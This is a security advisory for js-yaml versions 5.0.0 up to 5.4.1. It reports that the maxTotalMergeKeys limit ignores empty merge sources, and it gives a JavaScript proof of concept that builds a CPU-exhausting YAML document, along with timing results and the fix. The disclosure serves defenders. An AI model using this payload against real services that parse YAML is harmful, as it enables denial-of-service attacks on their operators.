js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
Published 29 Sept 2026 · Updated 29 Sept 2026
Affected package
- Affected
- >=5.0.0 <5.4.1
- Fixed in
- 5.4.1
npm install js-yaml@5.4.1Details
Summary
maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
- <<: *arr # repeated K timesFor every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.
PoC
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = 20000
const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: *arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(`${(performance.now() - started).toFixed(1)} ms`)Observed results:
| N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s |
Impact
When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.
Fix
Count every merge source mapping as one budget unit in addition to counting its keys.
Is GHSA-r3ph-w7gj-g6xm in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected js-yaml, and gives you the command that fixes it.
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.